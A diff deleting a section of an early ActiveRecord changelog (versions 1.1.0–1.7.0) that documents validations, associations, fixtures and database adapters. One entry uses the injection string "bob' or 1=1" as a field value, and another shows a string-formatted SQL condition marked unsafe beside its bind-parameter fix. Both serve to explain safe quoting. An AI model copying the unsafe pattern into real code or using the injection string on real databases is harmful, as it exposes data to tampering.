-* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
-
-   * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the 
-     +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+ 
-     objects that should be inspected to determine which attributes triggered the errors.
-   * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
-     You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
-
-* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 [rodrigo k]
-
-* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 [Jeremy Kemper]
-
-* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
-
-    class Account < ActiveRecord::Base
-      has_one :credit_card, :dependent => true
-    end
-    class CreditCard < ActiveRecord::Base
-      belongs_to :account
-    end
-
-    account.credit_card # => returns existing credit card, lets say id = 12
-    account.credit_card = CreditCard.create("number" => "123")
-    account.save # => CC with id = 12 is destroyed
-
-
-* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
-
-    Validates whether the value of the specified attribute is numeric by trying to convert it to
-    a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
-    <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
-    
-      class Person < ActiveRecord::Base
-        validates_numericality_of :value, :on => :create
-      end
-    
-    Configuration options:
-    * <tt>message</tt> - A custom error message (default is: "is not a number")
-    * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
-    * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
-    
-
-* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 [Scott Barron]
-
-* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
-
-* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 [james@slashetc.com]
-
-
-*1.7.0* (24th February, 2005)
-
-* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 [Jamis Buck]
-
-* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
-
-    1.  Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
-        and safe way of passing table-specific sequence information to the adapter.)
-    2.  Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
-        resort to some hacks to get data converted to Date or Time in Ruby.
-        If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
-        hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
-        This is nasty - but if you use Duck Typing you'll probably not care very much.
-        In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
-        valid - too many databases use DATE for both.
-        Timezones and sub-second precision on timestamps are not supported.
-    3.  Default values that are functions (such as "SYSDATE") are not supported. This is a
-        restriction of the way active record supports default values.
-    4.  Referential integrity constraints are not fully supported. Under at least
-        some circumstances, active record appears to delete parent and child records out of
-        sequence and out of transaction scope. (Or this may just be a problem of test setup.)
-
-  The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
-
-* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 [YuriSchimke]
-
-* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 [yerejm]
-
-* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 [tonka]
-
-* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 [Nicholas Seckar]
-
-* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 [daniel@nightrunner.com]
-
-* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 [adelle@bullet.net.au]
-
-* Fixed that find_by_* would fail when column names had numbers #670 [demetrius]
-
-* Fixed the SQL Server adapter on a bunch of issues #667 [DeLynn]
-
-    1. Created a new columns method that is much cleaner. 
-    2. Corrected a problem with the select and select_all methods 
-       that didn't account for the LIMIT clause being passed into raw SQL statements. 
-    3. Implemented the string_to_time method in order to create proper instances of the time class. 
-    4. Added logic to the simplified_type method that allows the database to specify the scale of float data. 
-    5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
-
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow]
-
-* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
-    
-    class Person < ActiveRecord::Base
-      validates_each :first_name, :last_name do |record, attr|
-        record.errors.add attr, 'starts with z.' if attr[0] == ?z
-      end
-    end
-
-* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 [Jeremy Kemper]
-
-* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
-
-    class Person < ActiveRecord::Base
-      validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
-    end
-
-* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 [Tim Bates]
-
-* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
-
-    class Project < ActiveRecord::Base
-      primary_key "sysid"
-      table_name "XYZ_PROJECT"
-      inheritance_column { original_inheritance_column + "_id" }
-    end
-
-* Fixed Base#clone for use with PostgreSQL #565 [hanson@surgery.wisc.edu]
-
-
-*1.6.0* (January 25th, 2005)
-
-* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
-
-* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
-
-* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
-
-* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
-
-    people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
-    Person.update(people.keys, people.values)
-
-* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 [Scott Baron]
-
-* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 [notahat]
-
-* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 [Demetrius]
-
-* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 [Jeremy Kemper]
-
-* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 [Eric Anderson]
-
-* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 [Eric Anderson]
-
-* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
-
-* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
-
-* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 [Demetrius]
-
-* Fixed that find_all would produce invalid sql when called sequentialy #490 [Scott Baron]
-
-
-*1.5.1* (January 18th, 2005)
-
-* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 [Tim Bates]
-
-* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 [Pelle]
-
-
-*1.5.0* (January 17th, 2005)
-
-* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 [Eric Hodel]
-
-* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
-
-    class Book < ActiveRecord::Base
-      has_many :pages
-      belongs_to :library
-    
-      validates_associated :pages, :library
-    end
-    
-* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
-
-    == Unsaved objects and associations
-    
-    You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
-    aware of, mostly involving the saving of associated objects.
-    
-    === One-to-one associations
-    
-    * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
-      order to update their primary keys - except if the parent object is unsaved (new_record? == true).
-    * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
-      is cancelled.
-    * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
-    * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
-      not save the parent either.
-    
-    === Collections
-    
-    * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
-      (the owner of the collection) is not yet stored in the database.
-    * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
-    * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
-    * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
-
-* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 [Tim Bates]
-
-* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 [Tim Bates]
-
-* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 [Tim Bates]
-
-* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 [Tim Bates]
-
-* Fixed binary support for PostgreSQL #444 [alex@byzantine.no]
-
-* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the 
-  collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If 
-  it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards, 
-  it'll take one less SELECT query if you use length.
-
-* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 [atyp.de]
-
-* Fixed that foreign keys named the same as the association would cause stack overflow #437 [Eric Anderson]
-
-* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 [Alexey]
-
-* Added Base#reload that reloads the attributes of an object from the database #422 [Andreas Schwarz]
-
-* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 [Jeremy Kemper]
-
-* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 [Matt Mower] 
-
-* Added that Observers can use the observes class method instead of overwriting self.observed_class().
-
-    Before:
-      class ListSweeper < ActiveRecord::Base
-        def self.observed_class() [ List, Item ]
-      end
-    
-    After:
-      class ListSweeper < ActiveRecord::Base
-        observes List, Item
-      end
-
-* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
-
-* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
-
-* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
-
-    Before: topic.update_attribute(:approved, !approved?)
-    After : topic.toggle!(:approved)
-
-* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
-
-    page.views # => 1
-    page.increment!(:views) # executes an UPDATE statement
-    page.views # => 2
-    
-    page.increment(:views).increment!(:views)
-    page.views # => 4
-
-* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
-
-
-*1.4.0* (January 4th, 2005)
-
-* Added automated optimistic locking if the field <tt>lock_version</tt> is present.  Each update to the
-  record increments the lock_version column and the locking facilities ensure that records instantiated twice
-  will let the last one saved raise a StaleObjectError if the first was also updated. Example:
-  
-    p1 = Person.find(1)
-    p2 = Person.find(1)
-    
-    p1.first_name = "Michael"
-    p1.save
-    
-    p2.first_name = "should fail"
-    p2.save # Raises a ActiveRecord::StaleObjectError
-  
-  You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
-  or otherwise apply the business logic needed to resolve the conflict.
-
-  #384 [Michael Koziarski]
-
-* Added dynamic attribute-based finders as a cleaner way of getting objects by simple queries without turning to SQL. 
-  They work by appending the name of an attribute to <tt>find_by_</tt>, so you get finders like <tt>Person.find_by_user_name,
-  Payment.find_by_transaction_id</tt>. So instead of writing <tt>Person.find_first(["user_name = ?", user_name])</tt>, you just do
-  <tt>Person.find_by_user_name(user_name)</tt>.
-  
-  It's also possible to use multiple attributes in the same find by separating them with "_and_", so you get finders like
-  <tt>Person.find_by_user_name_and_password</tt> or even <tt>Payment.find_by_purchaser_and_state_and_country</tt>. So instead of writing
-  <tt>Person.find_first(["user_name = ? AND password = ?", user_name, password])</tt>, you just do 
-  <tt>Person.find_by_user_name_and_password(user_name, password)</tt>.
-
-  While primarily a construct for easier find_firsts, it can also be used as a construct for find_all by using calls like 
-  <tt>Payment.find_all_by_amount(50)</tt> that is turned into <tt>Payment.find_all(["amount = ?", 50])</tt>. This is something not as equally useful,
-  though, as it's not possible to specify the order in which the objects are returned.
-
-* Added block-style for callbacks #332 [Jeremy Kemper].
-
-    Before:
-      before_destroy(Proc.new{ |record| Person.destroy_all "firm_id = #{record.id}" })
-    
-    After:
-      before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
-
-* Added :counter_cache option to acts_as_tree that works just like the one you can define on belongs_to #371 [Josh Peek]
-
-* Added Base.default_timezone accessor that determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates 
-  and times from the database. This is set to :local by default.
-
-* Added the possibility for adapters to overwrite add_limit! to implement a different limiting scheme than "LIMIT X" used by MySQL, PostgreSQL, and SQLite.
-
-* Added the possibility of having objects with acts_as_list created before their scope is available or...
-
-* Added a db2 adapter that only depends on the Ruby/DB2 bindings (http://raa.ruby-lang.org/project/ruby-db2/) #386 [Maik Schmidt]
-
-* Added the final touches to the Microsoft SQL Server adapter by Joey Gibson that makes it suitable for actual use #394 [DeLynn Barry]
-
-* Added that Base#find takes an optional options hash, including :conditions. Base#find_on_conditions deprecated in favor of #find with :conditions #407 [Jeremy Kemper]
-
-* Added HasManyAssociation#count that works like Base#count #413 [intinig]
-
-* Fixed handling of binary content in blobs and similar fields for Ruby/MySQL and SQLite #409 [xal]
-
-* Fixed a bug in the Ruby/MySQL that caused binary content to be escaped badly and come back mangled #405 [Tobias Lütke]
-
-* Fixed that the const_missing autoload assumes the requested constant is set by require_association and calls const_get to retrieve it. 
-  If require_association did not set the constant then const_get will call const_missing, resulting in an infinite loop #380 [Jeremy Kemper]
-
-* Fixed broken transactions that were actually only running object-level and not db level transactions [andreas]
-
-* Fixed that validates_uniqueness_of used 'id' instead of defined primary key #406
-
-* Fixed that the overwritten respond_to? method didn't take two parameters like the original #391
-
-* Fixed quoting in validates_format_of that would allow some rules to pass regardless of input #390 [Dmitry V. Sabanin]
-
-
-*1.3.0* (December 23, 2004)
-
-* Added a require_association hook on const_missing that makes it possible to use any model class without requiring it first. This makes STI look like:
-
-    before:
-      require_association 'person'
-      class Employee < Person
-      end
-    
-    after:
-      class Employee < Person
-      end
-
-  This also reduces the usefulness of Controller.model in Action Pack to currently only being for documentation purposes.      
-
-* Added that Base.update_all and Base.delete_all return an integer of the number of affected rows #341
-
-* Added scope option to validation_uniqueness #349 [Kent Sibilev]
-
-* Added respondence to *_before_type_cast for all attributes to return their string-state before they were type casted by the column type.
-  This is helpful for getting "100,000" back on a integer-based validation where the value would normally be "100".
-
-* Added allow_nil options to validates_inclusion_of so that validation is only triggered if the attribute is not nil [what-a-day]
-
-* Added work-around for PostgreSQL and the problem of getting fixtures to be created from id 1 on each test case.
-  This only works for auto-incrementing primary keys called "id" for now #359 [Scott Baron]
-
-* Added Base#clear_association_cache to empty all the cached associations #347 [Tobias Lütke]
-
-* Added more informative exceptions in establish_connection #356 [Jeremy Kemper]
-
-* Added Base#update_attributes that'll accept a hash of attributes and save the record (returning true if it passed validation, false otherwise). 
-
-    Before:
-      person.attributes = @params["person"]
-      person.save
-    
-    Now:
-      person.update_attributes(@params["person"])
-
-* Added Base.destroy and Base.delete to remove records without holding a reference to them first.
-
-* Added that query benchmarking will only happen if its going to be logged anyway #344
-
-* Added higher_item and lower_item as public methods for acts_as_list #342 [Tobias Lütke]
-
-* Fixed that options[:counter_sql] was overwritten with interpolated sql rather than original sql #355 [Jeremy Kemper]
-
-* Fixed that overriding an attribute's accessor would be disregarded by add_on_empty and add_on_boundary_breaking because they simply used 
-  the attributes[] hash instead of checking for @base.respond_to?(attr.to_s). [Marten]
-
-* Fixed that Base.table_name would expect a parameter when used in has_and_belongs_to_many joins [Anna Lissa Cruz]
-
-* Fixed that nested transactions now work by letting the outer most transaction have the responsibilty of starting and rolling back the transaction.
-  If any of the inner transactions swallow the exception raised, though, the transaction will not be rolled back. So always let the transaction
-  bubble up even when you've dealt with local issues. Closes #231 and #340.
-
-* Fixed validates_{confirmation,acceptance}_of to only happen when the virtual attributes are not nil #348 [dpiddy@gmail.com]
-
-* Changed the interface on AbstractAdapter to require that adapters return the number of affected rows on delete and update operations.
-
-* Fixed the automated timestamping feature when running under Rails' development environment that resets the inheritable attributes on each request.
-
-
-
-*1.2.0*
-
-* Added Base.validates_inclusion_of that validates whether the value of the specified attribute is available in a particular enumerable
-  object. [what-a-day]
-
-    class Person < ActiveRecord::Base
-      validates_inclusion_of :gender, :in=>%w( m f ), :message=>"woah! what are you then!??!!"
-      validates_inclusion_of :age, :in=>0..99
-    end
-
-* Added acts_as_list that can decorates an existing class with methods like move_higher/lower, move_to_top/bottom. [Tobias Lütke] Example:
-
-    class TodoItem < ActiveRecord::Base
-      acts_as_list :scope => :todo_list_id
-      belongs_to :todo_list
-    end
-
-* Added acts_as_tree that can decorates an existing class with a many to many relationship with itself. Perfect for categories in 
-  categories and the likes. [Tobias Lütke]
-
-* Added that Active Records will automatically record creation and/or update timestamps of database objects if fields of the names 
-  created_at/created_on or updated_at/updated_on are present. [Tobias Lütke]
-
-* Added Base.default_error_messages as a hash of all the error messages used in the validates_*_of so they can be changed in one place [Tobias Lütke]
-
-* Added automatic transaction block around AssociationCollection.<<, AssociationCollection.delete, and AssociationCollection.destroy_all
-
-* Fixed that Base#find will return an array if given an array -- regardless of the number of elements #270 [Marten]
-
-* Fixed that has_and_belongs_to_many would generate bad sql when naming conventions differed from using vanilla "id" everywhere [RedTerror]
-
-* Added a better exception for when a type column is used in a table without the intention of triggering single-table inheritance. Example:
-
-    ActiveRecord::SubclassNotFound: The single-table inheritance mechanism failed to locate the subclass: 'bad_class!'.
-    This error is raised because the column 'type' is reserved for storing the class in case of inheritance. 
-    Please rename this column if you didn't intend it to be used for storing the inheritance class or 
-    overwrite Company.inheritance_column to use another column for that information.
-
-* Added that single-table inheritance will only kick in if the inheritance_column (by default "type") is present. Otherwise, inheritance won't
-  have any magic side effects.
-
-* Added the possibility of marking fields as being in error without adding a message (using nil) to it that'll get displayed wth full_messages #208 [mjobin] 
-
-* Fixed Base.errors to be indifferent as to whether strings or symbols are used. Examples:
-
-    Before:
-      errors.add(:name, "must be shorter") if name.size > 10
-      errors.on(:name)  # => "must be shorter"
-      errors.on("name") # => nil
-
-    After:
-      errors.add(:name, "must be shorter") if name.size > 10
-      errors.on(:name)  # => "must be shorter"
-      errors.on("name") # => "must be shorter"
-
-* Added Base.validates_format_of that Validates whether the value of the specified attribute is of the correct form by matching 
-  it against the regular expression provided. [Marcel Molina Jr.]
-
-    class Person < ActiveRecord::Base
-      validates_format_of :email, :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/, :on => :create
-    end
-
-* Added Base.validates_length_of that delegates to add_on_boundary_breaking #312 [Tobias Lütke]. Example:
-
-    Validates that the specified attribute matches the length restrictions supplied in either:
-    
-      - configuration[:minimum]
-      - configuration[:maximum]
-      - configuration[:is]
-      - configuration[:within] (aka. configuration[:in])
-    
-    Only one option can be used at a time.
-    
-      class Person < ActiveRecord::Base
-        validates_length_of :first_name, :maximum=>30
-        validates_length_of :last_name, :maximum=>30, :message=>"less than %d if you don't mind"
-        validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
-        validates_length_of :fav_bra_size, :minimum=>1, :too_short=>"please enter at least %d character"
-        validates_length_of :smurf_leader, :is=>4, :message=>"papa is spelled with %d characters... don't play me."
-      end
-    
-* Added Base.validate_presence as an alternative to implementing validate and doing errors.add_on_empty yourself.
-
-* Added Base.validates_uniqueness_of that alidates whether the value of the specified attributes are unique across the system. 
-  Useful for making sure that only one user can be named "davidhh".
-  
-    class Person < ActiveRecord::Base
-      validates_uniqueness_of :user_name
-    end
-  
-  When the record is created, a check is performed to make sure that no record exist in the database with the given value for the specified
-  attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
-
-
-* Added Base.validates_confirmation_of that encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
- 
-     Model:
-       class Person < ActiveRecord::Base
-         validates_confirmation_of :password
-       end
-  
-     View:
-       <%= password_field "person", "password" %>
-       <%= password_field "person", "password_confirmation" %>
-  
-   The person has to already have a password attribute (a column in the people table), but the password_confirmation is virtual.
-   It exists only as an in-memory variable for validating the password. This check is performed both on create and update.
-
-
-* Added Base.validates_acceptance_of that encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
-  
-   class Person < ActiveRecord::Base
-     validates_acceptance_of :terms_of_service
-   end
-  
-  The terms_of_service attribute is entirely virtual. No database column is needed. This check is performed both on create and update.
-
-  NOTE: The agreement is considered valid if it's set to the string "1". This makes it easy to relate it to an HTML checkbox.
-
-  
-* Added validation macros to make the stackable just like the lifecycle callbacks. Examples:
-
-    class Person < ActiveRecord::Base
-      validate { |record| record.errors.add("name", "too short") unless name.size > 10 }
-      validate { |record| record.errors.add("name", "too long")  unless name.size < 20 }
-      validate_on_create :validate_password
-      
-      private
-        def validate_password
-          errors.add("password", "too short") unless password.size > 6
-        end
-    end
-
-* Added the option for sanitizing find_by_sql and the offset parts in regular finds [Sam Stephenson]. Examples:
-
-    Project.find_all ["category = ?", category_name], "created ASC", ["? OFFSET ?", 15, 20]
-    Post.find_by_sql ["SELECT * FROM posts WHERE author = ? AND created > ?", author_id, start_date]
-
-* Fixed value quoting in all generated SQL statements, so that integers are not surrounded in quotes and that all sanitation are happening
-  through the database's own quoting routine. This should hopefully make it lots easier for new adapters that doesn't accept '1' for integer
-  columns.
-
-* Fixed has_and_belongs_to_many guessing of foreign key so that keys are generated correctly for models like SomeVerySpecialClient 
-  [Florian Weber]
-
-* Added counter_sql option for has_many associations [Jeremy Kemper]. Documentation:
-
-    <tt>:counter_sql</tt> - specify a complete SQL statement to fetch the size of the association. If +:finder_sql+ is
-    specified but +:counter_sql+, +:counter_sql+ will be generated by replacing SELECT ... FROM with SELECT COUNT(*) FROM.
-
-* Fixed that methods wrapped in callbacks still return their original result #260 [Jeremy Kemper]
-
-* Fixed the Inflector to handle the movie/movies pair correctly #261 [Scott Baron]
-
-* Added named bind-style variable interpolation #281 [Michael Koziarski]. Example:
-
-    Person.find(["id = :id and first_name = :first_name", { :id => 5, :first_name = "bob' or 1=1" }])
-
-* Added bind-style variable interpolation for the condition arrays that uses the adapter's quote method [Michael Koziarski]
-
-  Before:
-    find_first([ "user_name = '%s' AND password = '%s'", user_name, password ])]
-    find_first([ "firm_id = %s", firm_id ])] # unsafe!
-
-  After:
-    find_first([ "user_name = ? AND password = ?", user_name, password ])]
-    find_first([ "firm_id = ?", firm_id ])]
-
-* Added CSV format for fixtures #272 [what-a-day]. (See the new and expanded documentation on fixtures for more information)
-
-* Fixed fixtures using primary key fields called something else than "id" [dave]
-
-* Added proper handling of time fields that are turned into Time objects with the dummy date of 2000/1/1 [HariSeldon]
-
-* Added reverse order of deleting fixtures, so referential keys can be maintained #247 [Tim Bates]
-
-* Added relative path search for sqlite dbfiles in database.yml (if RAILS_ROOT is defined) #233 [Jeremy Kemper]
-
-* Added option to establish_connection where you'll be able to leave out the parameter to have it use the RAILS_ENV environment variable
-
-* Fixed problems with primary keys and postgresql sequences (#230) [Tim Bates]
-
-* Added reloading for associations under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
-  This is turned on by default, but can be turned off with ActiveRecord::Base.reload_dependencies = false in production environments.
-
-  NOTE: This will only have an effect if you let the associations manage the requiring of model classes. All libraries loaded through
-  require will be "forever" cached. You can, however, use ActiveRecord::Base.load_or_require("library") to get this behavior outside of the
-  auto-loading associations.
-
-* Added ERB capabilities to the fixture files for dynamic fixture generation. You don't need to do anything, just include ERB blocks like:
-
-    david:
-      id: 1
-      name: David
-
-    jamis:
-      id: 2
-      name: Jamis
-
-    <% for digit in 3..10 %>
-    dev_<%= digit %>:
-      id: <%= digit %>
-      name: fixture_<%= digit %>
-    <% end %>
-
-* Changed the yaml fixture searcher to look in the root of the fixtures directory, so when you before could have something like:
-
-    fixtures/developers/fixtures.yaml
-    fixtures/accounts/fixtures.yaml
-  
-  ...you now need to do:
-  
-    fixtures/developers.yaml
-    fixtures/accounts.yaml
-
-* Changed the fixture format from:
-
-    name: david
-    data:
-     id: 1
-     name: David Heinemeier Hansson
-     birthday: 1979-10-15
-     profession: Systems development
-    ---
-    name: steve
-    data:
-     id: 2
-     name: Steve Ross Kellock
-     birthday: 1974-09-27
-     profession: guy with keyboard
-
-  ...to:
-
-    david:
-     id: 1
-     name: David Heinemeier Hansson
-     birthday: 1979-10-15
-     profession: Systems development
-    
-    steve:
-     id: 2
-     name: Steve Ross Kellock
-     birthday: 1974-09-27
-     profession: guy with keyboard
-    
-  The change is NOT backwards compatible. Fixtures written in the old YAML style needs to be rewritten!
-
-* All associations will now attempt to require the classes that they associate to. Relieving the need for most explicit 'require' statements.
-
-
-*1.1.0* (34)
-
-* Added automatic fixture setup and instance variable availability. Fixtures can also be automatically 
-  instantiated in instance variables relating to their names using the following style:
-
-    class FixturesTest < Test::Unit::TestCase
-      fixtures :developers # you can add more with comma separation
-
-      def test_developers
-        assert_equal 3, @developers.size # the container for all the fixtures is automatically set
-        assert_kind_of Developer, @david # works like @developers["david"].find
-        assert_equal "David Heinemeier Hansson", @david.name
-      end
-    end
-
-* Added HasAndBelongsToManyAssociation#push_with_attributes(object, join_attributes) that can create associations in the join table with additional
-  attributes. This is really useful when you have information that's only relevant to the join itself, such as a "added_on" column for an association
-  between post and category. The added attributes will automatically be injected into objects retrieved through the association similar to the piggy-back
-  approach:
-  
-    post.categories.push_with_attributes(category, :added_on => Date.today)
-    post.categories.first.added_on # => Date.today
-    
-  NOTE: The categories table doesn't have a added_on column, it's the categories_post join table that does!
-
-* Fixed that :exclusively_dependent and :dependent can't be activated at the same time on has_many associations [Jeremy Kemper]
-
-* Fixed that database passwords couldn't be all numeric [Jeremy Kemper]
-
-* Fixed that calling id would create the instance variable for new_records preventing them from being saved correctly [Jeremy Kemper]
-
-* Added sanitization feature to HasManyAssociation#find_all so it works just like Base.find_all [Sam Stephenson/Jeremy Kemper]
-
-* Added that you can pass overlapping ids to find without getting duplicated records back [Jeremy Kemper]
-
-* Added that Base.benchmark returns the result of the block [Jeremy Kemper]
-
-* Fixed problem with unit tests on Windows with SQLite [paterno]
-
-* Fixed that quotes would break regular non-yaml fixtures [Dmitry Sabanin/daft]
-
-* Fixed fixtures on windows with line endings cause problems under unix / mac [Tobias Lütke]
-
-* Added HasAndBelongsToManyAssociation#find(id) that'll search inside the collection and find the object or record with that id
-
-* Added :conditions option to has_and_belongs_to_many that works just like the one on all the other associations
-
-* Added AssociationCollection#clear to remove all associations from has_many and has_and_belongs_to_many associations without destroying the records [geech]
-
-* Added type-checking and remove in 1-instead-of-N sql statements to AssociationCollection#delete [geech]
-
-* Added a return of self to AssociationCollection#<< so appending can be chained, like project << Milestone.create << Milestone.create [geech]
-
-* Added Base#hash and Base#eql? which means that all of the equality using features of array and other containers now works:
-
-    [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
-
-* Added :uniq as an option to has_and_belongs_to_many which will automatically ensure that AssociateCollection#uniq is called
-  before pulling records out of the association. This is especially useful for three-way (and above) has_and_belongs_to_many associations.
-
-* Added AssociateCollection#uniq which is especially useful for has_and_belongs_to_many associations that can include duplicates,
-  which is common on associations that also use metadata. Usage: post.categories.uniq
-
-* Fixed respond_to? to use a subclass specific hash instead of an Active Record-wide one
-
-* Fixed has_and_belongs_to_many to treat associations between classes in modules properly [Florian Weber]
-
-* Added a NoMethod exception to be raised when query and writer methods are called for attributes that doesn't exist [geech]
-
-* Added a more robust version of Fixtures that throws meaningful errors when on formatting issues [geech]
-
-* Added Base#transaction as a compliment to Base.transaction for prettier use in instance methods [geech]
-
-* Improved the speed of respond_to? by placing the dynamic methods lookup table in a hash [geech]
-
-* Added that any additional fields added to the join table in a has_and_belongs_to_many association 
-  will be placed as attributes when pulling records out through has_and_belongs_to_many associations. 
-  This is helpful when have information about the association itself that you want available on retrival.
-
-* Added better loading exception catching and RubyGems retries to the database adapters [alexeyv]
-
-* Fixed bug with per-model transactions [daniel]
-
-* Fixed Base#transaction so that it returns the result of the last expression in the transaction block [alexeyv]
-
-* Added Fixture#find to find the record corresponding to the fixture id. The record 
-  class name is guessed by using Inflector#classify (also new) on the fixture directory name.
-  
-    Before: Document.find(@documents["first"]["id"])
-    After : @documents["first"].find
-
-* Fixed that the table name part of column names ("TABLE.COLUMN") wasn't removed properly [Andreas Schwarz]
-
-* Fixed a bug with Base#size when a finder_sql was used that didn't capitalize SELECT and FROM [geech]
-
-* Fixed quoting problems on SQLite by adding quote_string to the AbstractAdapter that can be overwritten by the concrete
-  adapters for a call to the dbm. [Andreas Schwarz]
-  
